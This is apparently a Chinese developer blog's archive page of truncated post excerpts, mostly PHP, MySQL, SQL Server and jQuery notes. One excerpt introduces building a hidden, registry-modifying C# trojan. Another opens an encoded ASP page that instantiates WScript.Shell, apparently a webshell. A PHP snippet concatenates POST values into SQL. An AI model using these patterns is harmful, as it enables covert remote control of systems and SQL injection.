05 2011 档案

摘要:用C#实现木马程序(1) 木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘) 因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。 使用的技术: 控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的 阅读全文
posted @ 2011-05-30 16:45 枫- 阅读(1251) 评论(0) 推荐(0)
摘要:<%@ LANGUAGE = VBScript.Encode codepage ="936" %><%Server.ScriptTimeOut=5000%><object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object><object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C35 阅读全文
posted @ 2011-05-30 16:35 枫- 阅读(737) 评论(0) 推荐(0)
该文被密码保护。
posted @ 2011-05-30 15:55 枫-
只有注册用户登录后才能阅读该文。
posted @ 2011-05-27 13:00 枫- 阅读(12) 评论(0) 推荐(0)
摘要:public string GetMoney(double dd) { string s = dd.ToString("#L#E#D#C#K#E#D#C#J#E#D#C#I#E#D#C#H#E#D#C#G#E#D#C#F#E#D#C#.0B0A"); string d = Regex.Replace(s, @"((?<=-|^)[^1-9]*)|((?'z'0)[0A-E]*((?=[1-9])|(?'-z'(?=[F-L\.]|$))))|((?'b'[F-L])(?'z'0)[0A-L]*( 阅读全文
posted @ 2011-05-27 09:43 枫- 阅读(250) 评论(0) 推荐(0)
摘要:$_FILES数组内容如下:$_FILES['myFile']['name'] 客户端文件的原名称。 $_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。 $_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 $_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.in 阅读全文
posted @ 2011-05-26 17:41 枫- 阅读(132) 评论(0) 推荐(0)
摘要:利用php的文件函数来实现上传 这段代码分为两个文件,一个为upload.html,一个是upload.php upload.html <form enctype="multipart/form-data" action="upload.php" method="post"> <input type="hidden" name="max_file_size" value="100000"> <input name="userfile&q 阅读全文
posted @ 2011-05-26 15:57 枫- 阅读(1528) 评论(0) 推荐(0)
摘要:最全的mysql查询语句(审精)--基本查询select * from pet--列出指定的列select name, owner form pet--直接进行算术运算,对字段起别名select sin(1+2) as sin--where条件select * from pet where (birth>'1980' and species='dog') or species='bird'--对null的条件select * from pet where sex is not null--所有名字第四位是n的宠物信息是select * fr 阅读全文
posted @ 2011-05-24 18:27 枫- 阅读(5711) 评论(0) 推荐(0)
摘要:Default.aspx这个页面只有几个textbox控件和两个按妞控件<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" ValidateRequest="false" Inherits="ToHtml._Default" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" &quo 阅读全文
posted @ 2011-05-24 16:20 枫- 阅读(1451) 评论(0) 推荐(1)
摘要:首先是命名 程序代码<input type='checkbox' name='checkbox[]' value=$dwmyrow[banzhu] />提交页面处理 //当计划当作sql指令的一部分时:如果参与控制的字段是数值型的,则 程序代码if(! empty($_POST['checkbox'])) {$expr = join(",", $_POST['checkbox']);$sql = "select * from tbl_name where field in ($expr)& 阅读全文
posted @ 2011-05-23 19:00 枫- 阅读(211) 评论(0) 推荐(0)
摘要:1:{$smarty.section.loop.index}2:{insert name="JJJJJ" tyid="2" str=$adminarry[loop][1]}3:{$adminarry[loop]["Ad_id"]}4:{$adminarry[loop][0]} 阅读全文
posted @ 2011-05-23 16:13 枫- 阅读(224) 评论(0) 推荐(0)
摘要:1:http://xaphp.com/portal.php 阅读全文
posted @ 2011-05-23 10:46 枫- 阅读(184) 评论(0) 推荐(0)
摘要:CREATE PROCEDURE 'sp_page'(in _pagecurrent int,--/*当前页*/in _pagesize int,--/*每页的记录数*/in _ifelse varchar(1000),--/*显示字段*/in _where varchar(1000),--/*条件*/in _order varchar(1000)--/*排序*/)COMMENT '分页存储过程'BEGINif _pagesize<=1 then set _pagesize=20;end if;if _pagecurrent < 1 then set 阅读全文
posted @ 2011-05-21 16:01 枫- 阅读(273) 评论(0) 推荐(0)
摘要:PERCONA PERFORMANCE CONFERENCE 2009上,来自雅虎的几位工程师带来了一篇”Efficient Pagination Using MySQL“的报告,有很多亮点,本文是在原文基础上的进一步延伸。首先看一下分页的基本原理:mysql> explain SELECT * FROM message ORDER BY id DESC LIMIT 10000, 20\G***************** 1. row **************id: 1select_type: SIMPLEtable: messagetype: indexpossible_keys 阅读全文
posted @ 2011-05-21 15:46 枫- 阅读(318) 评论(2) 推荐(0)
摘要:内建函数内建函数不能擅自修改。capturecapture函数的作用是收集模板输出的数据到一 个变量里,而不是把它们输出到页面.例如任何在 {capture name=”foo”}和{/capture}之间的数据都被收到了由函数的名称属性指定的变量{$foo}里,或者 {$smarty.capture.foo}里。如果函数没有名字属性,将使用”default”.每个{capture}都必须对应 {/capture},也不能嵌套使用capture函数。config_load引用配置文件file是必须的,说明要包含进来的配置文件名称,section说明要加载的部分的名称,scope被处理的变量的作 阅读全文
posted @ 2011-05-21 14:22 枫- 阅读(828) 评论(0) 推荐(0)
摘要:<?phpinclude("dbconnect.php");$sql="select * from moon";$arr = array();$i=0;$result=mysql_query($sql,$con);while($row=mysql_fetch_array($result)){//print_r($row);$arr[$i]=$row;$i++;}//print_r($arr);require 'smarty.php';$smarty->assign('arr',$arr);$smarty-> 阅读全文
posted @ 2011-05-21 10:24 枫- 阅读(158) 评论(0) 推荐(0)
摘要:输出数组boolean print_r(var)创建数组1.array $a=array("a","b");2.list $line="a|b|c"; list($a,$b,$c)=explode("|",$line);3.array range(low,high,step) $a=range(0,6) <==> $a=(0,1,2,3,4,5,6); $a=range(0,6,2) <==> $a=(0,2,4,6)测试数组boolean is_array(arr)增加或删除数组元素1.$ 阅读全文
posted @ 2011-05-20 18:39 枫- 阅读(488) 评论(0) 推荐(0)
摘要:echo date("Y-m-d H:i:s")."\n";echo date('Y-m-d G:i:s');--->2011-05-28 15:34:37echo date("Y-m-d H:i:s",strtotime("-10 day"));//当前时间减10天2:函数:strtotime() 功能:将任何英文文本的时间转换为UNIX时间戳(从1970年1月1日(GMT)起经过的秒数),进行一些代数运算echo(strtotime("now") . "< 阅读全文
posted @ 2011-05-19 18:41 枫- 阅读(2453) 评论(0) 推荐(0)
摘要:HTTP(HyperTextTransferProtocol)是超文本传输协议的缩写,它用于传送WWW方式的数据,关于HTTP协议的详细内容请参考RFC2616。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求,请求头包含请求的方法、URI、协议版本、以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码加上包含服务器信息、实体元信息以及可能的实体内容。 通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选 阅读全文
posted @ 2011-05-19 16:27 枫- 阅读(779) 评论(0) 推荐(0)
摘要:1:int SetCookie(string name, string value, int expire, string path, string domain, int secure);除了name之外所有的参数都是可选的。value,path,domain三个参数可以用空字符串代换,表示没有设置;expire 和 secure两个参数是数值型的,可以用0表示。expire参数是一个标准的Unix时间标记,可以用time()或mktime()函数取得,以秒为单位。 secure参数表示这个Cookie是否通过加密的HTTPS协议在网络上传输。SetCookie("MyCookie 阅读全文
posted @ 2011-05-19 14:50 枫- 阅读(986) 评论(1) 推荐(0)
摘要:strtoupper($string);//全部换成大写strtolower($string);//全部换成小写ucwords($string);//单词的首字母换成大写strrpos()函数查找字符串在另一个字符串中最后一次出现的位置。[string,]PHP的数据类型转换属于强制转换,允许转换的PHP数据类型有:(int)、(integer):转换成整形(float)、(double)、(real):转换成浮点型(string):转换成字符串(bool)、(boolean):转换成布尔类型(array):转换成数组(object):转换成对象PHP数据类型有三种转换方式:在要转换的变量之前 阅读全文
posted @ 2011-05-18 16:32 枫- 阅读(908) 评论(0) 推荐(0)
摘要:using (SqlConnection connection = new SqlConnection(SqlHelper.ConnectionStringLocalTransaction)) {connection.Open();SqlCommand command = connection.CreateCommand(); SqlTransaction transaction; transaction = connection.BeginTransaction("SampleTransaction"); command.Connection = connection; 阅读全文
posted @ 2011-05-18 10:19 枫- 阅读(305) 评论(0) 推荐(0)
摘要:1:不居中考虑兼容性父层元素必须设置text-align:center;子元素设置margin:0px auto;2:字空格text-indent:2em; 阅读全文
posted @ 2011-05-13 16:53 枫- 阅读(178) 评论(0) 推荐(0)
摘要:1:MySQL端口号查看方法">MySQL端口号查看方法:show variables like ‘port’; 阅读全文
posted @ 2011-05-13 14:38 枫- 阅读(388) 评论(0) 推荐(0)
摘要:1:Navicathttp://navicat.com/cn2:MySQL-Front 3.2 简体中文版3:MySql界面化操作软件 :SQLyog 企业特别版~!无需安装,解压完就能用!软件介绍: SQLyog是图形化管理接口的 MySQL 数据库管理工具,让您能够从世界的任何角落透过网络来维护数据库。一个简洁高效的 MySQL管理工具,特点如下:1、基于C++和MySQL API编程2、方便快捷的数据库同步与数据库结构同步工具3、易用的数据库、表的备份与还原功能4、数据导入与导出为XML、HTML、CSV等多种格式5、直接运行大的SQL脚本文件,速度极快 阅读全文
posted @ 2011-05-13 14:20 枫- 阅读(212) 评论(0) 推荐(0)
摘要:Ecshop文件结构ecshop文件架构说明/*ECShop 2.5.1 的结构图及各文件相应功能介绍ECShop2.5.1_Beta upload 的目录┣ activity.php 活动列表┣ affiche.php 广告处理文件┣ affiliate.php 生成商品列表┣ article.php 文章内容┣ article_cat.php文章分类┣ auction.php 拍卖前台文件┣ brand.php 品牌列表┣ captcha.php 生成验证码┣ catalog.php 列出所以分类及品牌┣ category.php 商品分类┣ comment.php 提交用户评论┣ com 阅读全文
posted @ 2011-05-13 13:10 枫- 阅读(490) 评论(0) 推荐(0)
摘要:SQL codeCONVERT(nvarchar(10),count_time,121): CONVERT为日期转换函数,一般就是在时间类型(datetime,smalldatetime)与字符串类型(nchar,nvarchar,char,varchar)相互转换的时候才用到的函数的3个参数,第1个参数为,转换后的大小,第2个为转换日期的字段或函数,第3个为转换的格式,具体如下:0 | 0 or 100 | mon dd yyyy hh:miAM(或PM) 1 | 101 | mm/dd/yy 2 | 102 | yy-mm-dd 3 | 103 | dd/mm/yy 4 | 104 | d 阅读全文
posted @ 2011-05-12 11:56 枫- 阅读(637) 评论(0) 推荐(0)
摘要:不同服务器数据库之间的数据操作--创建链接服务器 exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, '用户名 ', '密码 ' --查询示例 select * from ITSV.数据库名.dbo.表名 --导入示例 select * into 表 from ITSV.数据库名.dbo.表 阅读全文
posted @ 2011-05-10 17:01 枫- 阅读(655) 评论(0) 推荐(0)
摘要:1:清除所有表存储的数据EXEC sp_MSforeachtable "truncate table ?"3:有条件的清空表 name<>'不想清空的表名'--OPEN TrCun_CursorFETCH TrCun_Cursor INTO @tablenameWHILE(@@fetch_status = 0)BEGINSET @truncatesql = 'truncate table ' + @tablename--exec(@truncatesql) --当要删除时,就去掉--PRINT @truncatesqlFETCH 阅读全文
posted @ 2011-05-10 14:48 枫- 阅读(229) 评论(0) 推荐(0)
摘要:jQuery对于数组元素操作主要提供了以下工具:(1)数组和对象的例遍:jQuery.each(obj,callback)通用例遍方法,可用于例遍对象和数组。回调函数拥有两个参数:第一个为对象的成员或数组的索引,第二个为对应变量或内容。如果需要退出each循环可使回调函数返回false,其它返回值将被忽略。(2)数组元素的过滤:jQuery.grep(array,callback,[invert])使用过滤函数过滤数组元素。此函数至少传递两个参数:待过滤数组和过滤函数。过滤函数必须返回true以保留元素或false以删除元素。(3)数组元素的查找:jQuery.inArray(value,ar 阅读全文
posted @ 2011-05-04 10:29 枫- 阅读(5212) 评论(0) 推荐(0)
摘要:shift:删除原数组第一项,并返回删除元素的值;如果数组为空则返回undefinedvar a = [1,2,3,4,5];var b = a.shift(); //a:[2,3,4,5] b:1unshift:将参数添加到原数组开头,并返回数组的长度var a = [1,2,3,4,5];var b = a.unshift(-2,-1); //a:[-2,-1,1,2,3,4,5] b:7注:在IE6.0下测试返回值总为undefined,FF2.0下测试返回值为7,所以这个方法的返回值不可靠,需要用返回值时可用splice代替本方法来使用。pop:删除原数组最后一项,并返回删除元素的值; 阅读全文
posted @ 2011-05-04 10:28 枫- 阅读(235) 评论(0) 推荐(0)
摘要:jQuery获取Select选择的Text和Value: 选择一项试试看语法解释:1. $("#select_id").change(function(){//code...}); //为Select添加事件,当选择其中一项时触发2. var checkText=$("#select_id").find("option:selected").text();//获取Select选择的Text3. var checkValue=$("#select_id").val();//获取Select选择的Value4. var 阅读全文
posted @ 2011-05-04 10:05 枫- 阅读(638) 评论(0) 推荐(1)
摘要:onactivate 当对象设置为活动元素时触发。 onafterprint 对象所关联的文档打印或打印预览后立即在对象上触发。 onbeforeactivate 对象要被设置为当前元素前立即触发。 onbeforecut 当选中区从文档中删除之前在源对象触发。 onbeforedeactivate 在 activeElement 从当前对象变为父文档其它对象之前立即触发。 onbeforeeditfocus 在包含于可编辑元素内的对象进入用户界面激活状态前或可编辑容器变成控件选中区前触发。 onbeforepaste 在选中区从系统剪贴板粘贴到文档前在目标对象上触发。 onbeforepri 阅读全文
posted @ 2011-05-03 17:47 枫- 阅读(1172) 评论(0) 推荐(0)
摘要:CREATE TABLE `base_area` ( `id` mediumint(12) unsigned NOT NULL auto_increment COMMENT 'id', `pid` int(12) NOT NULL COMMENT '父id', `name` varchar(60) NOT NULL COMMENT '名称', `display` tinyint(1) NOT NULL COMMENT '显示属性', PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET 阅读全文
posted @ 2011-05-03 13:20 枫- 阅读(1899) 评论(1) 推荐(0)
摘要:create table Province(ProvinceId nchar(2),ProvinceName varnchar(20),Sort int)insert into Province values('01','北京市',1)insert into Province values('02','天津市',2)insert into Province values('03','上海市',3)insert into Province values('04','重庆市 阅读全文
posted @ 2011-05-03 13:17 枫- 阅读(501) 评论(2) 推荐(0)